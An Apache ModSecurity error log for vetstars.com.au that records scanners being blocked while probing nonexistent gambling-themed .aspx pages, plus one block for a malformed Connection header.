[Fri Mar 20 07:27:13.410763 2026] [:error] [pid 55239:tid 55278] [client 51.77.216.62:57530] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abyGUaycM6mGWSmcyoL4eQAAAcU"]
[Fri Mar 20 07:27:15.961966 2026] [:error] [pid 55511:tid 55538] [client 51.77.216.62:57536] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abyGU9j429raoauy3fuguQAAA9c"]
[Fri Mar 20 07:27:18.444613 2026] [:error] [pid 55451:tid 55471] [client 51.77.216.62:57546] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abyGVk0xWQZtU7cXlgTlLQAAA1A"]
[Fri Mar 20 07:27:20.927854 2026] [:error] [pid 43163:tid 43167] [client 51.77.216.62:57556] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abyGWJ_n4JP_ko9XUswZjAAAAQA"]
[Fri Mar 20 07:27:23.259277 2026] [:error] [pid 43163:tid 43188] [client 51.77.216.62:38884] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abyGW5_n4JP_ko9XUswZjQAAARU"]
[Fri Mar 20 07:27:25.762155 2026] [:error] [pid 55301:tid 55383] [client 51.77.216.62:38894] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abyGXcKP1x4sgmjd3xRyVwAAAo4"]
[Fri Mar 20 07:27:28.265586 2026] [:error] [pid 55301:tid 55379] [client 51.77.216.62:38910] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abyGYMKP1x4sgmjd3xRyYQAAAow"]
[Fri Mar 20 07:27:30.658081 2026] [:error] [pid 43163:tid 43172] [client 51.77.216.62:38920] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abyGYp_n4JP_ko9XUswZkwAAAQU"]
[Fri Mar 20 07:27:32.999502 2026] [:error] [pid 55239:tid 55280] [client 51.77.216.62:34582] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abyGZKycM6mGWSmcyoL4ngAAAcc"]
[Fri Mar 20 07:27:35.469102 2026] [:error] [pid 58126:tid 58188] [client 51.77.216.62:34592] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abyGZ6KAmdXQSS0Y5KBr3AAAAFA"]
[Fri Mar 20 07:27:37.893252 2026] [:error] [pid 55301:tid 55397] [client 51.77.216.62:34600] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abyGacKP1x4sgmjd3xRyiAAAApQ"]
[Fri Mar 20 07:27:40.285485 2026] [:error] [pid 55299:tid 55309] [client 51.77.216.62:34616] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abyGbPoGhbNgkNIkZwmFygAAAgQ"]
[Fri Mar 20 07:27:42.773287 2026] [:error] [pid 58126:tid 58175] [client 51.77.216.62:54648] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abyGbqKAmdXQSS0Y5KBr3wAAAEM"]
[Fri Mar 20 07:27:45.282997 2026] [:error] [pid 55301:tid 55371] [client 51.77.216.62:54656] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abyGccKP1x4sgmjd3xRyyQAAAog"]
[Fri Mar 20 07:27:47.626776 2026] [:error] [pid 55301:tid 55371] [client 51.77.216.62:54670] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abyGc8KP1x4sgmjd3xRy1AAAAog"]
[Fri Mar 20 07:27:50.111355 2026] [:error] [pid 55299:tid 55327] [client 51.77.216.62:54680] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abyGdvoGhbNgkNIkZwmF0gAAAhY"]
[Fri Mar 20 07:27:52.629047 2026] [:error] [pid 55511:tid 55528] [client 51.77.216.62:54682] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abyGeNj429raoauy3fugwQAAA80"]
[Fri Mar 20 07:27:55.106504 2026] [:error] [pid 55239:tid 55279] [client 51.77.216.62:57008] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abyGe6ycM6mGWSmcyoL4sgAAAcY"]
[Fri Mar 20 07:27:57.616530 2026] [:error] [pid 55299:tid 55325] [client 51.77.216.62:57024] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abyGffoGhbNgkNIkZwmF1gAAAhQ"]
[Fri Mar 20 07:28:42.216140 2026] [:error] [pid 55299:tid 55318] [client 51.77.216.62:57030] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abyGqvoGhbNgkNIkZwmGkAAAAg0"]
[Fri Mar 20 07:28:44.677856 2026] [:error] [pid 55301:tid 55373] [client 51.77.216.62:49866] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abyGrMKP1x4sgmjd3xR0DgAAAok"]
[Fri Mar 20 07:28:47.194397 2026] [:error] [pid 55299:tid 55322] [client 51.77.216.62:49872] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abyGr_oGhbNgkNIkZwmGrQAAAhE"]
[Fri Mar 20 07:28:49.667957 2026] [:error] [pid 55301:tid 55365] [client 51.77.216.62:49886] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abyGscKP1x4sgmjd3xR0SAAAAoM"]
[Fri Mar 20 07:28:51.974028 2026] [:error] [pid 55419:tid 55428] [client 51.77.216.62:49890] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abyGs2ZBdOmqhJCTdb7bzgAAAwc"]
[Fri Mar 20 07:28:54.458771 2026] [:error] [pid 55301:tid 55392] [client 51.77.216.62:41664] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abyGtsKP1x4sgmjd3xR0VQAAApI"]
[Fri Mar 20 07:28:56.779991 2026] [:error] [pid 55452:tid 55502] [client 51.77.216.62:41674] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abyGuIlFvOIliSP0R2BO6gAAA5M"]
[Fri Mar 20 07:28:59.261713 2026] [:error] [pid 55239:tid 55278] [client 51.77.216.62:41678] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abyGu6ycM6mGWSmcyoL42AAAAcU"]
[Fri Mar 20 07:29:01.723770 2026] [:error] [pid 55299:tid 55306] [client 51.77.216.62:41690] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abyGvfoGhbNgkNIkZwmGygAAAgE"]
[Fri Mar 20 07:29:04.192247 2026] [:error] [pid 55299:tid 55310] [client 51.77.216.62:47716] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abyGwPoGhbNgkNIkZwmG1wAAAgU"]
[Fri Mar 20 07:29:06.647136 2026] [:error] [pid 55301:tid 55364] [client 51.77.216.62:47718] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abyGwsKP1x4sgmjd3xR0ZQAAAoI"]
[Fri Mar 20 07:29:08.970107 2026] [:error] [pid 55239:tid 55283] [client 51.77.216.62:47720] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abyGxKycM6mGWSmcyoL46QAAAco"]
[Fri Mar 20 08:57:39.557372 2026] [:error] [pid 55419:tid 55426] [client 43.163.206.70:57352] [client 43.163.206.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abybg2ZBdOmqhJCTdb7kjgAAAwU"]
[Fri Mar 20 11:24:17.094146 2026] [:error] [pid 49081:tid 49132] [client 51.75.119.165:50150] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aby94Ro1LBAUhfhYPR1L1wAAARE"]
[Fri Mar 20 11:24:19.524584 2026] [:error] [pid 51714:tid 51729] [client 51.75.119.165:43332] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aby94zWI82pxvQ0gkstfBQAAAI0"]
[Fri Mar 20 11:24:22.014889 2026] [:error] [pid 49082:tid 49157] [client 51.75.119.165:43750] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aby95qpllYJI1LUIdL9YogAAAU8"]
[Fri Mar 20 11:24:24.525045 2026] [:error] [pid 51714:tid 51738] [client 51.75.119.165:43752] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aby96DWI82pxvQ0gkstfFQAAAJY"]
[Fri Mar 20 11:24:26.855295 2026] [:error] [pid 51714:tid 51718] [client 51.75.119.165:43760] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aby96jWI82pxvQ0gkstfGgAAAII"]
[Fri Mar 20 11:24:29.298118 2026] [:error] [pid 51714:tid 51725] [client 51.75.119.165:43776] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aby97TWI82pxvQ0gkstfIAAAAIk"]
[Fri Mar 20 11:24:31.814839 2026] [:error] [pid 49080:tid 49088] [client 51.75.119.165:47526] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aby974k5CHi4V0A3ttgJoAAAAEI"]
[Fri Mar 20 11:24:34.244690 2026] [:error] [pid 49170:tid 49198] [client 51.75.119.165:47538] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aby98s-c8ctLVDCqUJXcugAAABg"]
[Fri Mar 20 11:24:36.800955 2026] [:error] [pid 49080:tid 49106] [client 51.75.119.165:47550] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aby99Ik5CHi4V0A3ttgJpQAAAFQ"]
[Fri Mar 20 11:24:39.579308 2026] [:error] [pid 49081:tid 49124] [client 51.75.119.165:47556] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aby99xo1LBAUhfhYPR1L8wAAAQk"]
[Fri Mar 20 11:24:42.055494 2026] [:error] [pid 51714:tid 51727] [client 51.75.119.165:55370] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aby9-jWI82pxvQ0gkstfZAAAAIs"]
[Fri Mar 20 11:24:45.692740 2026] [:error] [pid 51714:tid 51726] [client 51.75.119.165:55390] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aby9_TWI82pxvQ0gkstfawAAAIo"]
[Fri Mar 20 11:24:48.278646 2026] [:error] [pid 49170:tid 49194] [client 51.75.119.165:55394] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aby-AM-c8ctLVDCqUJXc_wAAABQ"]
[Fri Mar 20 11:24:50.778643 2026] [:error] [pid 51714:tid 51734] [client 51.75.119.165:55402] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aby-AjWI82pxvQ0gkstffwAAAJI"]
[Fri Mar 20 11:24:53.294747 2026] [:error] [pid 49170:tid 49174] [client 51.75.119.165:38708] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aby-Bc-c8ctLVDCqUJXdDgAAAAA"]
[Fri Mar 20 11:24:55.942888 2026] [:error] [pid 49080:tid 49106] [client 51.75.119.165:38720] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aby-B4k5CHi4V0A3ttgJ3gAAAFQ"]
[Fri Mar 20 11:24:58.444694 2026] [:error] [pid 49170:tid 49183] [client 51.75.119.165:38728] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aby-Cs-c8ctLVDCqUJXdPAAAAAk"]
[Fri Mar 20 11:25:00.926732 2026] [:error] [pid 51714:tid 51719] [client 51.75.119.165:38730] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aby-DDWI82pxvQ0gkstfmQAAAIM"]
[Fri Mar 20 11:25:04.007113 2026] [:error] [pid 49082:tid 49164] [client 51.75.119.165:59918] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aby-EKpllYJI1LUIdL9Y3wAAAVY"]
[Fri Mar 20 11:25:06.646657 2026] [:error] [pid 49170:tid 49192] [client 51.75.119.165:59926] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aby-Es-c8ctLVDCqUJXdUgAAABI"]
[Fri Mar 20 11:25:09.271215 2026] [:error] [pid 49080:tid 49106] [client 51.75.119.165:59940] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aby-FYk5CHi4V0A3ttgJ_gAAAFQ"]
[Fri Mar 20 11:25:11.739844 2026] [:error] [pid 49170:tid 49181] [client 51.75.119.165:53386] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aby-F8-c8ctLVDCqUJXdWwAAAAc"]
